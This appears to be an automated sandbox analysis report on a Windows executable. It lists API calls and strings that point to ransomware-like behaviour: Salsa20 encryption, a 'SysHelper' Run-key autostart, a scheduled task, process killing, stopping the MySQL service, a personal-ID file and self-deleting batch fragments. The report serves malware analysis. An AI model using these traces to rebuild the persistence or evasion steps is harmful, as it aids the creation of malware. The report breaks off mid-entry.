Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

input != nullptr && output != nullptr, xrefs: 0040C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090

Memory Dump Source

Source File: 00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.361130595.0000000000529000.00000040.00020000.sdmp Download File
Associated: 00000002.00000001.361145739.000000000052B000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0, Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

@echo off:trydel ", xrefs: 0041262A
" goto try, xrefs: 00412666
delself.bat, xrefs: 0041261C
D, xrefs: 00412720
"if exist ", xrefs: 00412648
TEMP, xrefs: 004125DF
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
del ", xrefs: 00412674

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0, Relevance: 26.7, APIs: 10, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_memmove.LIBCMT ref: 00463767
_strncmp.LIBCMT ref: 00463835
_memmove.LIBCMT ref: 00463854
_strncmp.LIBCMT ref: 00463946
_memmove.LIBCMT ref: 00463983
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----BEGIN , xrefs: 004636A4
, xrefs: 00463A90
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----, xrefs: 004636D4, 00463A21
-----END , xrefs: 0046382F, 00463940, 004639E4

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _strncmp$_memmove
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 3166575885-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0, Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32 ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: d87ae02ebb827c572a96defd0b94b563a2a13f3acd0a84997267fb9c98df2b66
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: d87ae02ebb827c572a96defd0b94b563a2a13f3acd0a84997267fb9c98df2b66
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00418000, Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 004180E9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

string too long, xrefs: 00418338
invalid string position, xrefs: 00418342

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32 ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32 ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

SysHelper, xrefs: 004123D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00418000, Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.361130595.0000000000529000.00000040.00020000.sdmp Download File
Associated: 00000002.00000001.361145739.000000000052B000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32 ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

--Task, xrefs: 0040DBB5
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
Comment, xrefs: 0040DBFF

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740, Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310, Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

\, xrefs: 0040F548
SHGetFolderPathW, xrefs: 0040F34D
Shell32.dll, xrefs: 0040F32C

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

Error encrypting message: %s, xrefs: 0040CE67
\\n, xrefs: 0040CC1B
 , xrefs: 0040CCAF

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 03c951cbcffbb22e4b904cab30c58fb638dd7e4556e50294ac70ee7de3450d71
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 03c951cbcffbb22e4b904cab30c58fb638dd7e4556e50294ac70ee7de3450d71
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

DEK-Info: , xrefs: 00463422
ENCRYPTED, xrefs: 004633BC
Proc-Type: , xrefs: 0046337C
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__invoke_watson.LIBCMT ref: 004C5D9B
__get_sys_err_msg.LIBCMT ref: 004C5DCD
__invoke_watson.LIBCMT ref: 004C5DEB

Strings

